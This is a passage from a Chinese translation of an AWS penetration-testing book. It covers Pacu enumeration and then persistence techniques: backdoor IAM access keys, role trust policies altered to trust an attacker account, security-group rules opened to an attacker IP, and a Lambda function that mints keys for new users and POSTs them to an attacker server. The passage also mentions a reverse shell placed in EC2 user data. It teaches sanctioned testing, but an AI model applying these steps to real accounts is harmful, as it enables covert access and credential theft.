然而,即使启用了GuardDuty,这并不意味着我们的努力是徒劳的。在这样的攻击场景中,有许多因素会起作用,比如是否有人在关注被触发的GuardDuty警报,如果他们注意到了警报,对警报做出反应的响应时间,以及做出反应的人是否对 AWS 有深入的了解,能够完全追踪你的行动。
我们可以通过运行detection__enum_services Pacu 模块来检查GuardDuty和其他日志记录和监控服务。该模块将检查 CloudTrail 配置、CloudWatch 警报、活动的 Shield 分布式拒绝服务(DDoS)保护计划、GuardDuty配置、Config 配置和资源,以及虚拟私有云(VPC)流日志。这些服务都有不同的目的,但作为攻击者,了解谁在监视您和跟踪您非常重要。
Pacu 在枚举类别中有许多模块,可用于枚举目标 AWS 帐户中的各种资源。一些有趣的模块包括aws__enum_account模块,用于枚举当前 AWS 帐户的信息;aws__enum_spend模块,用于收集正在花费资金的 AWS 服务列表(因此您可以确定使用哪些服务,而无需直接查询该服务的 API);或ec2__download_userdata模块,用于下载和解码附加到帐户中每个 EC2 实例的 EC2 用户数据。
EC2 用户数据本质上只是一些文本,您可以将其添加到 EC2 实例中,一旦实例上线,该数据就会对其可用。这可以用于设置实例的初始配置,或者为其提供可能需要稍后查询的设置或值。还可以通过 EC2 用户数据执行代码。
通常,用户或软件会将硬编码的机密信息(例如 API 密钥、密码和环境变量)放入 EC2 用户数据中。这是不良做法,并且亚马逊在其文档中不鼓励这样做,但这仍然是一个问题。作为攻击者,这对我们有利。任何用户都可以通过ec2:DescribeInstanceAttribute权限读取 EC2 用户数据,因此任何硬编码的机密信息也会对他们可用。作为攻击者,检查这些数据是否有用非常重要。
ec2__download_userdata Pacu 模块将自动遍历并下载帐户中枚举的所有实例和启动模板的用户数据,使我们能够轻松地筛选结果。
您可以运行以下命令来启动该模块:
run ec2__download_userdata
现在 Pacu 将检查其已知的每个 EC2 实例是否有用户数据,如果有,它将下载到主 Pacu 目录中的./sessions/[session name]/downloads/ec2_user_data/文件夹中。
如果您尚未使用ec2__enum模块在目标帐户中枚举 EC2 实例和启动模板,则在执行模块之前将提示您运行它。您可能会收到一条消息,确认是否要针对每个 AWS 区域运行该模块,这样做现在是可以的,因此我们将回答y:
在枚举了 EC2 实例之后,它可能会询问您是否对 EC2 启动模板进行相同的操作,因为启动模板也包含用户数据。我们也可以允许它进行枚举。
在枚举了实例和启动模板之后,执行将切换回我们原始的ec2__download_userdata模块,以下载和解码我们找到的任何实例或启动模板相关联的用户数据。
该模块在我们的帐户中找到了三个 EC2 实例和一个 EC2 启动模板,这些实例和模板都与用户数据相关联。以下截图显示了模块的输出,包括其执行结果以及存储数据的位置:
ec2__download_userdata模块在帐户中找到了附加到四个 EC2 实例中的用户数据,并在帐户中找到了一个启动模板中的一个。然后将这些数据保存到 Pacu 目录的./sessions/Demo/downloads/ec2_user_data/文件夹中。
如果我们导航到这些文件下载到的文件夹并在文本编辑器中打开它们,我们可以看到明文数据。以下截图显示了ap-northeast-2地区中具有i-0d4ac408c4454dd9bID 实例的用户数据如下:
这只是一个示例,用来演示这个概念,所以基本上当 EC2 实例启动时,它将运行这个命令:
echo "test" > /test.txt
然后它将继续引导过程。大多数情况下,传递到 EC2 用户数据中的脚本只有在实例首次创建时才会执行,但是通过在前面的用户数据中使用#cloud-boothook指令,实例被指示在每次引导时运行此代码。这是一种很好的方法,可以通过在用户数据中放置一个反向 shell 来获得对 EC2 实例的持久访问权限,以便在每次实例重新启动时执行,但这将在后续章节中进一步讨论。
总结
在本章中,我们已经介绍了如何利用 Python 的boto3库来进行 AWS 渗透测试。它使我们能够快速简单地自动化我们攻击过程的部分,我们特别介绍了如何为自己和环境中的其他人枚举 IAM 权限的方法(以两种不同的方式),以及如何应用这些知识来提升我们的特权,希望成为账户的完整管理员。
我们还看到了 Pacu 已经为我们自动化了很多这个过程。尽管 Pacu 很好,但它不能涵盖你所想到的每一个想法、攻击方法或漏洞,因此学会如何在 Pacu 之外正确地与 AWS API 进行交互是很重要的。然后,凭借这些知识,你甚至可以开始为其他人编写自己的 Pacu 模块。
在下一章中,我们将继续使用boto3和 Pacu 来为我们的目标环境建立持久访问。这使我们能够在最坏的情况下幸存,并确保我们可以保持对环境的访问权限。这使我们能够帮助培训防御者进行事件响应,以便他们可以了解他们的环境中哪些区域是盲点,以及他们如何修复它们。在 AWS 中建立持久性的潜在方法有很多种,其中一些已经被 Pacu 自动化,我们将研究如何使用 IAM 和 Lambda 来部署这些方法。
第十一章:使用 Boto3 和 Pacu 维持 AWS 持久性
在 AWS 环境中建立持久性允许您保持特权访问,即使在您的主动攻击被检测到并且您对环境的主要访问方式被关闭的情况下。并不总是可能完全保持低调,所以在我们被抓到的情况下,我们需要一个备用计划(或两个,或三个,或……)。理想情况下,这个备用计划是隐蔽的,以便在需要再次访问环境时建立和执行。
有许多与恶意软件、逃避和持久性相关的技术和方法论可以应用到本章,但我们将专注于在 AWS 中可以滥用的不同方法,而不一定是整个红队风格的渗透测试的方法论。在 AWS 中的持久性技术与传统的持久性类型有很大不同,比如在 Windows 服务器上,但这些技术(正如我们已经知道的)也可以应用于我们攻击的 AWS 环境中的任何服务器。
在本章中,我们将专注于实际 AWS 环境中的持久性,而不是环境中的服务器。这些类型的持久性包括后门用户凭据、后门角色信任关系、后门 EC2 安全组、后门 Lambda 函数等等。
在本章中,我们将涵盖以下主题:
-
后门用户凭据
-
后门角色信任关系
-
后门 EC2 安全组
-
使用 Lambda 函数作为持久性看门狗
后门用户
在我们开始之前,让我们定义一下后门到底是什么。在本章的背景下,它的意思几乎与字面上的意思相同,即我们正在打开一个后门进入环境,以便在前门关闭时,我们仍然可以进入。在 AWS 中,后门可以是本章中涵盖的任何一种东西,前门将是我们对环境的主要访问方式(即被攻破的 IAM 用户凭据)。我们希望我们的后门能够在我们的妥协被防御者检测到并关闭被攻破的用户的情况下持续存在,因为在这种情况下,我们仍然可以通过后门进入。
正如我们在之前的章节中反复演示和使用的那样,IAM 用户可以设置访问密钥 ID 和秘密访问密钥,允许他们访问 AWS API。最佳实践通常是使用替代的身份验证方法,比如单点登录(SSO),它授予对环境的临时联合访问,但并非总是遵循最佳实践。我们将继续使用与之前章节中相似的场景,我们在那里拥有一个 IAM 用户Test的凭据。我们还将继续使用我们的用户通过特权升级获得对环境的管理员级别访问的想法,这是我们在第十章中利用的特权升级 AWS 账户使用被盗的密钥、Boto3 和 Pacu。
多个 IAM 用户访问密钥
账户中的每个 IAM 用户有两对访问密钥的限制。我们的测试用户已经创建了一个,所以在我们达到限制之前还可以创建一个。考虑到我们一直在使用的密钥是别人的,我们碰巧获得了对它们的访问,我们可以使用的一种简单的持久性形式就是为我们的用户创建第二组密钥。这样做,我们将拥有同一个用户的两组密钥:一组是我们被攻破的,另一组是我们自己创建的。
然而,这有点太简单了,因为如果我们被检测到,防御方的人员只需移除我们的用户,就可以一举删除我们对环境的两种访问方法。相反,我们可以选择针对环境中的不同特权用户创建我们的后门密钥。
首先,我们想要查看账户中存在哪些用户,所以我们将运行以下 AWS CLI 命令:
aws iam list-users --profile Test
该命令将返回账户中每个 IAM 用户的一些标识信息。这些用户中的每一个都是我们后门密钥的潜在目标,但我们需要考虑已经有两组访问密钥的用户。如果一个用户已经有两组密钥,而有人尝试创建第三组,API 将抛出一个错误,这可能会对倾听的捍卫者产生很大的噪音,最终使我们被抓住。
我想针对用户Mike进行操作,他是我们 AWS CLI 命令返回的用户之一。在尝试给Mike添加访问密钥之前,我将通过以下命令检查他是否已经有两组访问密钥:
aws iam list-access-keys --user-name Mike --profile Test
以下截图显示了该命令的输出,以及Mike已经有两组访问密钥:
图 1:列出 Mike 的访问密钥显示他已经有两组
这意味着我们不应该针对Mike进行操作。这是因为尝试创建另一组密钥将失败,导致 AWS API 出现错误。一个自以为是的捍卫者可能能够将该错误与您的恶意活动相关联,最终使您被抓住。
之前出现过另一个用户名为Sarah的用户,所以让我们来检查她设置了多少个访问密钥:
aws iam list-access-keys --user-name Sarah --profile Test
这一次,结果显示为空数组,这表明Sarah没有设置访问密钥:
图 2:当我们尝试列出 Sarah 的时候,没有访问密钥显示出来
现在我们知道我们可以针对Sarah进行持久化,所以让我们运行以下命令来创建一对新的密钥:
aws iam create-access-key --user-name Sarah --profile Test
响应应该类似于以下截图:
图 3:属于 Sarah 的访问密钥 ID 和秘密访问密钥
现在我们可以使用返回的密钥来访问与Sarah相关的任何权限。请记住,这种方法可以用于特权升级,以及在您的初始访问用户权限较低的情况下进行持久化,但iam:CreateAccessKey是其中之一。
让我们将Sarah的凭据存储在本地,以便我们在此期间不需要担心它们。为此,我们可以运行以下命令:
aws configure --profile Sarah
然后我们可以填写我们被提示的值。同样,我们可以使用set_keys命令将这些密钥添加到 Pacu 中。
使用 Pacu 进行操作
Pacu 还有一个模块可以为我们自动完成整个过程。这个模块称为iam__backdoor_users_keys模块,自动完成了我们刚刚进行的过程。要尝试它,请在 Pacu 中运行以下命令:
run iam__backdoor_users_keys
默认情况下,我们将得到一个用户列表供选择,但也可以在原始命令中提供用户名。
现在当我们的原始访问环境被发现时,我们有了一个(希望是高特权的)用户的备份凭据。如果我们愿意,我们可以使用之前章节的技术来枚举该用户的权限。
后门角色信任关系
IAM 角色是 AWS 的一个重要组成部分。简单来说,角色可以被认为是为某人/某物在一段时间内(默认为 1 小时)提供特定权限的。这个某人或某物可以是一个人,一个应用程序,一个 AWS 服务,另一个 AWS 账户,或者任何以编程方式访问 AWS 的东西。
IAM 角色信任策略
IAM 角色有一个与之关联的文档,称为其信任策略。信任策略是一个 JSON 策略文档(例如 IAM 策略,如ReadOnlyAccess或AdministratorAccess),指定谁/什么可以假定该角色,以及在什么条件下允许或拒绝。允许 AWS EC2 服务假定某个角色的常见信任策略文档可能如下所示:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
这个策略允许 EC2 服务访问它所属的角色。这个策略可能会在 IAM 角色被添加到 EC2 实例配置文件,然后附加到 EC2 实例时使用。然后,附加角色的临时凭证可以从实例内部访问,EC2 服务将使用它来访问所需的任何内容。
对于我们攻击者来说,IAM 角色的一些特性非常适合我们:
-
角色信任策略可以随意更新
-
角色信任策略可以提供对其他 AWS 账户的访问
就建立持久性而言,这是完美的。这意味着,通常情况下,我们只需要更新目标账户中特权角色的信任策略,就可以在该角色和我们自己的攻击者 AWS 账户之间建立信任关系。
在我们的示例场景中,我们创建了两个 AWS 账户。其中一个(账户 ID 012345678912)是我们自己的个人攻击者账户,这意味着我们通过 AWS 个人注册了这个账户。另一个(账户 ID 111111111111)是我们已经获取了密钥的账户。我们想要建立跨账户持久性,以确保我们将来能够访问环境。这意味着即使防御者检测到了我们的入侵,我们仍然可以通过跨账户方法重新访问环境,从而在不打开任何其他安全漏洞的情况下保持对目标环境的访问。
寻找合适的目标角色
建立这种持久性的第一步将是找到一个合适的目标角色。并非所有角色都允许你更新它们的信任策略文档,这意味着我们不想以它们为目标。它们通常是服务关联角色,这是一种直接与 AWS 服务关联的独特类型的 IAM 角色(docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html)。
这些角色可以通过 AWS Web 控制台的 IAM 角色页面以几种不同的方式快速识别。首先,你可能会发现它们的名称以AWSServiceRoleFor开头,后面跟着它们所属的 AWS 服务。另一个指示是在角色列表的受信实体列中;它会说类似于AWS service:<service name>(Service-Linked role)。如果你看到Service-Linked role的说明,那么你就知道你不能更新信任策略文档。最后,所有 AWS 服务关联角色都将包括路径/aws-service-role/。其他角色不允许使用该路径创建新角色:
图 4:我们测试账户中的两个服务关联角色
不过不要被骗了!仅仅依靠名称来指示哪些角色是服务角色,你可能会上当。一个完美的例子就是下面的截图,其中显示了角色AWSBatchServiceRole:
AWSBatchServiceRole这个名字显然表明这个角色是一个服务关联角色,对吗?错。如果你注意到,在AWS service: batch之后没有(Service-Linked role)的说明。所以,这意味着我们可以更新这个角色的信任策略,即使它听起来像是一个服务关联角色。
在我们的测试环境中,我们找到了一个名为Admin的角色,这对于攻击者来说应该立即引起高特权的警觉,所以我们将以这个角色为目标进行持久性攻击。我们不想在目标环境中搞砸任何事情,所以我们希望将自己添加到信任策略中,而不是用我们自己的策略覆盖它,这可能会在环境中搞砸一些东西。如果我们不小心移除了对某个 AWS 服务的访问权限,依赖于该访问权限的资源可能会开始失败,而我们不希望出现这种情况,有很多不同的原因。
从iam:GetRole和iam:ListRoles返回的数据应该已经包括我们想要的角色的活动信任策略文档,在 JSON 响应对象的AssumeRolePolicyDocument键下。我们要定位的管理员角色如下:
{
"Path": "/",
"RoleName": "Admin",
"RoleId": "AROAJTZAUYV2TQBZ2LXUK",
"Arn": "arn:aws:iam::111111111111:role/Admin",
"CreateDate": "2018-11-06T18:48:08Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:root"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "",
"MaxSessionDuration": 3600
}
如果我们查看AssumeRolePolicyDocument > Statement下的值,我们可以看到目前只允许一个主体假定这个角色,即Amazon 资源名称(ARN)arn:aws:iam::111111111111:root。这个 ARN 指的是帐户 ID 为111111111111的帐户的根用户,基本上可以翻译为帐户 ID 111111111111 中的任何资源。这包括根用户、IAM 用户和 IAM 角色。
添加我们的后门访问
我们现在将把我们的攻击者拥有的账户添加为此角色的信任策略。首先,我们将把角色信任策略中AssumeRolePolicyDocument键的值保存到本地 JSON 文件(trust-policy.json)中。为了向我们自己的账户添加信任而不移除当前的信任,我们可以将Principal AWS键的值从字符串转换为数组。这个数组将包括已经存在的根 ARN 和我们攻击者账户的根 ARN。trust-policy.json现在应该看起来像下面这样:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::111111111111:root",
"arn:aws:iam::012345678912:root"
]
},
"Action": "sts:AssumeRole"
}
]
}
接下来,我们将使用 AWS CLI 更新具有此信任策略的角色:
aws iam update-assume-role-policy --role-name Admin --policy-document file://trust-policy.json --profile Test
如果一切顺利,那么 AWS CLI 不应该向控制台返回任何输出。否则,您将看到一个错误和一个简短的描述出了什么问题。如果我们想要确认一切都正确,我们可以使用 AWS CLI 来get该角色并再次查看信任策略文档:
aws iam get-role --role-name Admin --profile Test
该命令的响应应该包括您刚刚上传的信任策略。
我们唯一需要做的另一件事是将角色的 ARN 保存在本地某个地方,这样我们就不会忘记它。在这个例子中,我们目标角色的 ARN 是arn:aws:iam::111111111111:role/Admin。现在一切都完成了。
确认我们的访问
我们可以通过尝试从我们自己的攻击者账户内部“假定”我们的目标角色来测试我们的新持久性方法。已经有一个名为MyPersonalUser的本地 AWS CLI 配置文件,这是属于我的个人 AWS 账户的一组访问密钥。使用这些密钥,我应该能够运行以下命令:
aws sts assume-role --role-arn arn:aws:iam::111111111111:role/Admin --role-session-name PersistenceTest --profile MyPersonalUser
我们只需要提供我们想要凭证的角色的 ARN 和角色会话名称,这可以是与返回的临时凭证关联的任意字符串值。如果一切按计划进行,AWS CLI 应该会以以下类似的方式做出响应:
{
"Credentials": {
"AccessKeyId": "ASIATE66IJ1KVECXRQRS",
"SecretAccessKey": "hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a",
"SessionToken": "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ==",
"Expiration": "2018-11-06T20:23:05Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAJTZAUYV2TQBZ2LXUK:PersistenceTest",
"Arn": "arn:aws:sts::111111111111:assumed-role/Admin/PersistenceTest"
}
}
完美!现在,我们所做的是使用我们自己的个人账户凭据来检索我们目标 AWS 账户的凭据。只要我们仍然是受信任的实体,我们随时都可以运行相同的aws sts API 调用,并在需要时检索另一组临时凭据。
我们可以通过修改我们的~/.aws/credentials文件使这些密钥对 AWS CLI 可用。配置文件只需要额外的aws_session_token键,这将导致以下内容被添加到我们的凭据文件中:
[PersistenceTest]
aws_access_key_id = ASIATE66IJ1KVECXRQRS
aws_secret_access_key = hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a
aws_session_token = "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ=="
然后我们可以手动将这些凭据添加到 Pacu 中,或者我们可以从 AWS CLI 导入它们到 Pacu 中。
使用 Pacu 自动化
就像前一节关于后门用户的部分一样,这一切都可以很容易地自动化!除此之外,它已经为您自动化了,使用iam__backdoor_assume_role Pacu 模块。该模块接受三个不同的参数,但我们只会使用其中的两个。--role-names参数接受要在我们的目标账户中设置后门的 IAM 角色列表,--user-arns参数接受要为每个目标角色添加信任关系的 ARN 列表。如果我们要复制刚刚经历的情景,那么我们将运行以下 Pacu 命令:
run iam__backdoor_assume_role --role-names Admin --user-arns arn:aws:iam::012345678912:root
Pacu 将自动设置Admin角色的后门,并与我们提供的 ARN 建立信任关系。输出应该看起来像这样:
图 5:运行 Pacu iam__backdoor_assume_role 模块
如果我们不知道我们想要攻击的角色,我们可以省略--role-names参数。然后 Pacu 将收集账户中的所有角色,并给我们一个选择列表。
这里有一个相当重要的副注,你可能一直在想,信任策略文档确实接受通配符,比如星号(*)字符!信任策略可以使用通配符,以便任何东西都可以假定该角色,这实际上意味着任何东西。信任每个人拥有 IAM 角色绝不是一个好主意,特别是如果你正在攻击一个账户。你不希望打开环境中原本不存在的门,其他攻击者可能会趁机溜进来。然而,了解通配符角色信任策略的确切含义是很重要的,因为在账户中遇到这样的情况是很少见的。
EC2 安全组的后门
EC2 安全组充当管理一个或多个 EC2 实例的入站和出站流量规则的虚拟防火墙。通常,你会发现对实例上特定端口的流量被列入白名单,以允许来自其他 IP 范围或安全组的流量。默认情况下拒绝所有访问,可以通过创建新规则来授予访问权限。作为攻击者,我们无法绕过安全组规则,但这并不意味着我们的访问完全被阻止。
我们所需要做的就是向目标安全组添加我们自己的安全组规则。理想情况下,这将是一个允许我们的 IP 地址/范围到安全组适用的实例上的一组端口的规则。你可能认为你想要为所有端口(0-65535)和所有协议(TCP、UDP 等)添加白名单访问,但一般来说,这是一个坏主意,因为有一些非常基本的检测存在。允许流量到安全组的每个端口被认为是一种不好的做法,因此有许多工具会对这种安全组规则发出警报。
知道检测所有端口都允许入站是典型的最佳实践检查,我们可以将我们的访问精细化到一些常见端口的子集。这些端口可能只是一个较短的范围,比如0-1024,一个常见端口,比如端口80,你知道他们在目标服务器上运行的服务的端口,或者你想要的任何东西。
使用我们同样的Test用户,假设我们发现了一个我们想要攻击的 EC2 实例。这可能是通过像下面的 AWS CLI 命令描述当前区域中的 EC2 实例:
aws ec2 describe-instances --profile Test
这个命令返回了相当多的信息,但重要的信息是我们目标的实例 ID(i-08311909cfe8cff10),我们目标的公共 IP(2.3.4.5),以及附加到它的安全组的列表:
"SecurityGroups": [
{
"GroupName": "corp",
"GroupId": "sg-0315cp741b51fr4d0"
}
]
有一个附加到目标实例的单个组名为corp;我们可以猜测它代表公司。现在我们有了安全组的名称和 ID,但我们想要看看它上面已经存在的规则。我们可以通过运行以下 AWS CLI 命令找到这些信息:
aws ec2 describe-security-groups --group-ids sg-0315cp741b51fr4d0 --profile Test
该命令的响应应该显示已添加到安全组的入站和出站规则。响应的IpPermissions键包含入站流量规则,IpPermissionsEgress键包含出站流量规则。我们目标corp安全组的入站流量规则如下:
"IpPermissions": [
{
"FromPort": 27017,
"IpProtocol": "tcp",
"IpRanges": [
{
"CidrIp": "10.0.0.1/24"
}
],
"Ipv6Ranges": [],
"PrefixListIds": [],
"ToPort": 27018,
"UserIdGroupPairs": []
}
]
我们所看到的是允许来自 IP 范围10.0.0.1/24到范围27017到27018的任何端口的入站 TCP 访问。也许你认识这些端口!这些端口通常属于 MongoDB,一种 NoSQL 数据库。问题是访问被列入白名单到一个内部 IP 范围,这意味着我们已经需要在网络中有一个立足点才能访问这些端口。这就是我们将添加我们的后门安全组规则,以便我们可以直接访问 MongoDB 的地方。
为了做到这一点,我们可以使用ec2:AuthorizeSecurityGroupIngress API。我们将说我们自己的攻击者 IP 地址是1.1.1.1,我们已经知道要打开访问权限的端口,所以我们可以运行以下 AWS CLI 命令:
aws ec2 authorize-security-group-ingress --group-id sg-0315cp741b51fr4d0 --protocol tcp --port 27017-27018 --cidr 1.1.1.1/32
如果一切顺利,您将不会看到此命令的任何输出,但如果出现问题,将会出现错误。现在我们的后门规则已成功应用,我们所针对的安全组中的每个 EC2 实例现在应该允许我们访问。请记住,可以指定0.0.0.0/0作为您的 IP 地址范围,并且它将允许任何 IP 地址访问。作为攻击者,我们绝对不希望这样做,因为这将打开其他攻击者可能发现和滥用的环境入口,因此我们始终要确保即使我们的后门访问规则也是细粒度的。
现在我们可以尝试远程访问 MongoDB,以测试我们的后门规则是否成功,并希望获得对以前私有的 MongoDB 服务器的访问权限。以下屏幕截图显示我们连接到端口27017上的 Mongo 数据库,服务器的一些错误配置对我们有利。如屏幕截图的轮廓部分所示,访问控制(身份验证)未设置,这意味着我们可以在不需要凭据的情况下读取和写入数据库。下一条消息显示 Mongo 进程正在以 root 用户身份运行,这意味着如果我们能够在 Mongo 服务器上执行任何文件读取或代码执行,它将以 root 用户身份运行:
就像前面的部分一样,这对您来说可能已经被 Pacu 自动化了!我们可以针对一个或多个安全组,但默认情况下,Pacu 将使用您指定的规则在当前区域中的所有组中设置后门。要复制我们刚刚经历的过程,我们可以运行以下 Pacu 命令(Pacu 使用安全组名称而不是 ID,因此我们提供corp):
run ec2__backdoor_ec2_sec_groups --ip 1.1.1.1/32 --port-range 27017-27018 --protocol tcp --groups corp@us-west-2
然后 Pacu 将向目标安全组添加我们的后门规则。但是永远不要忘记--ip参数,因为您不希望向世界(0.0.0.0/0)打开任何东西。以下屏幕截图显示了前面 Pacu 命令的输出:
图 6:Pacu 在后门公司安全组时的输出
然后,如果您要查看应用于该安全组的规则,您将看到类似于这样的内容:
图 7:我们目标安全组上的后门规则
使用 Lambda 函数作为持久看门狗
现在,在帐户中创建我们的持久后门非常有用,但是如果即使这些后门被检测到并从环境中删除了呢?我们可以使用 AWS Lambda 作为看门狗来监视帐户中的活动,并对某些事件做出响应,从而允许我们对防御者的行动做出反应。
基本上,AWS Lambda 是您在 AWS 中运行无服务器代码的方式。简单来说,您上传您的代码(无论是 Node.js、Python 还是其他任何东西),并为您的函数设置一个触发器,当触发器被触发时,您的代码在云中执行并对传入的数据进行处理。
我们攻击者可以利用这一点做很多事情。我们可以用它来警示帐户中的活动:
-
这些活动可能有助于我们利用该帐户
-
这可能意味着我们已经被防御者发现。
Lambda 函数还有很多其他用途,但现在我们将专注于这个。
使用 Lambda 自动化凭据外泄
从上一节的第一点开始,我们希望一个 Lambda 函数在可能值得利用的事件上触发。我们将把这与本章前面描述的持久性方法联系起来,因此对于后门 IAM 用户,可能值得利用的事件可能是创建新用户时。我们可以使用 CloudWatch Events 触发我们的 Lambda 函数,然后运行我们的代码,该代码设置为自动向该用户添加一组新的访问密钥,然后将这些凭证外发到我们指定的服务器。
这种情况如下绑定在一起:
-
攻击者(我们)在目标账户中创建了一个恶意 Lambda 函数
-
攻击者创建了一个触发器,每当创建新的 IAM 用户时就运行 Lambda 函数
-
攻击者在他们控制的服务器上设置一个监听器,等待凭证
-
经过 2 天
-
环境中的普通用户创建了一个新的 IAM 用户
-
攻击者的 Lambda 函数被触发
-
该函数向新创建的用户添加一组访问密钥
-
该函数使用创建的凭证向攻击者的服务器发出 HTTP 请求
现在攻击者只需坐下来等待凭证流入他们的服务器。
这可能看起来是一个复杂的过程,但简单来说,你可以把它看作是一种持久性建立持久性的方法。我们已经知道如何首先建立持久性,所以 Lambda 增加的是连续执行的能力。
要触发事件的函数,例如创建用户,必须创建一个 CloudWatch Event 规则。CloudWatch Event 规则是一种基本上说——如果我在环境中看到这种情况发生,就执行这个动作的方法。为了使我们的 CloudWatch Event 规则正常工作,我们还需要在us-east-1地区启用 CloudTrail 日志记录。这是因为我们是由 IAM 事件(iam:CreateUser)触发的,并且 IAM 事件只传递到us-east-1 CloudWatch Events。在大多数情况下,CloudTrail 日志记录将被启用。最佳做法是在所有 AWS 地区启用它,如果 CloudTrail 未启用,则您可能处于一个不太完善的环境中,需要关注其他问题。
使用 Pacu 部署我们的后门
创建后门 Lambda 函数、创建 CloudWatch Events 规则并连接两者的过程可能会很烦人,因此已经自动化并集成到 Pacu 中。
我们将要查看的第一个 Pacu 模块称为lambda__backdoor_new_users,它基本上只是自动化了在环境中为新创建的用户创建后门并外发凭证的过程。如果我们查看 Pacu 模块使用的 Lambda 函数的源代码,我们会看到以下内容:
import boto3
from botocore.vendored import requests
def lambda_handler(event,context):
if event['detail']['eventName']=='CreateUser':
client=boto3.client('iam')
try:
response=client.create_access_key(UserName=event['detail']['requestParameters']['userName'])
requests.post('POST_URL',data={"AKId":response['AccessKey']['AccessKeyId'],"SAK":response['AccessKey']['SecretAccessKey']})
except:
pass
return
代码的作用只是检查触发它的事件是否是iam:CreateUser API 调用,如果是,它将尝试使用 Python 的boto3库为新创建的用户创建凭证。然后一旦成功,它将发送这些凭证到攻击者的服务器,这由POST_URL指示(Pacu 在启动函数之前替换该字符串)。
模块的其余代码设置了所有必需的资源,或者删除了它知道您在账户中启动的任何后门,有点像清理模式。
接收我们创建的凭证,我们需要在自己的服务器上启动一个 HTTP 监听器,因为凭证是在请求体中POST的。之后,我们只需运行以下 Pacu 命令,希望凭证开始涌入:
run lambda__backdoor_new_users --exfil-url http://attacker-server.com/
当 Pacu 命令完成时,目标账户现在应该已经设置了我们的 Lambda 后门。只要环境中的其他人创建了一个新的 IAM 用户,我们应该收到一个带有这些凭证的 HTTP 监听器的请求。
以下截图显示了运行lambda__backdoor_new_users Pacu 模块的一些输出:
现在,下一个截图显示了在有人在我们的目标环境中创建用户后,向我们的 HTTP 服务器 POST 的凭据:
我们可以看到访问密钥 ID 和秘密访问密钥都包含在这个 HTTP POST 请求的正文中。现在我们已经为一个用户收集了密钥,如果我们觉得有必要,我们可以删除我们的后门(您不应该在您正在测试的环境中留下任何东西!)。为了做到这一点,我们可以运行以下 Pacu 命令:
run lambda__backdoor_new_users --cleanup
这个命令应该输出类似以下截图的内容,表明它已经删除了我们之前创建的后门资源:
其他 Lambda Pacu 模块
除了lambda__backdoor_new_users Pacu 模块之外,还有另外两个:
-
lambda__backdoor_new_sec_groups -
lambda__backdoor_new_roles
lambda__backdoor_new_sec_groups模块可以用于在创建新的 EC2 安全组时设置后门,通过将我们自己的 IP 地址列入白名单,而lambda__backdoor_new_roles模块将修改新创建角色的信任关系,允许我们跨账户假定它们,然后它将外泄角色的 ARN,以便我们可以继续收集我们的临时凭据。这两个模块都像我们之前介绍的lambda__backdoor_new_users模块一样,在 AWS 账户中部署资源,这些资源会根据事件触发,并且它们有清理选项来删除这些资源。
lambda__backdoor_new_sec_groups模块使用 EC2 API(而不是 IAM),因此不需要在us-east-1中创建 Lambda 函数;相反,它应该在您希望在其中设置新安全组后门的区域中启动。
总结
在本章中,我们已经看到了如何在目标 AWS 环境中建立持久访问的方法。这可以直接完成,就像我们展示的那样,比如向其他 IAM 用户添加后门密钥,或者我们可以使用更长期的方法,比如 AWS Lambda 和 CloudWatch Events 等服务。在目标 AWS 账户中,您可以建立各种不同的持久性方式,但有时候只需要对目标进行一些研究,就可以确定一个好的位置。
Lambda 提供了一个非常灵活的平台,可以在我们的目标账户中对事件做出反应和响应,这意味着我们可以在资源创建时建立持久性(或更多);然而,就像我们通过给 EC2 安全组设置后门所展示的那样,并不是每个后门都需要基于/在 IAM 服务中,并且有时候可以成为其他类型访问的后门。本章旨在展示一些常见的持久性方法,以帮助您发现在您的工作中其他持久性方法。
与在账户中创建新资源(可能会引起注意)不同,也可以对现有的 Lambda 函数设置后门。这些攻击对您所针对的环境更具体,并且需要不同的权限集,但可以更隐蔽和持久。这些方法将在下一章中讨论,我们将讨论 AWS Lambda 的渗透测试,调查现有 Lambda 函数的后门和数据外泄等。
第五部分:对其他 AWS 服务进行渗透测试
在本节中,我们将研究各种常见的 AWS 服务,针对它们的不同攻击方式,以及如何保护它们。
本节将涵盖以下章节:
-
第十二章,AWS Lambda 的安全和渗透测试
-
第十三章,AWS RDS 的渗透测试和安全
-
第十四章,针对其他服务
第十二章:AWS Lambda 的安全性和渗透测试
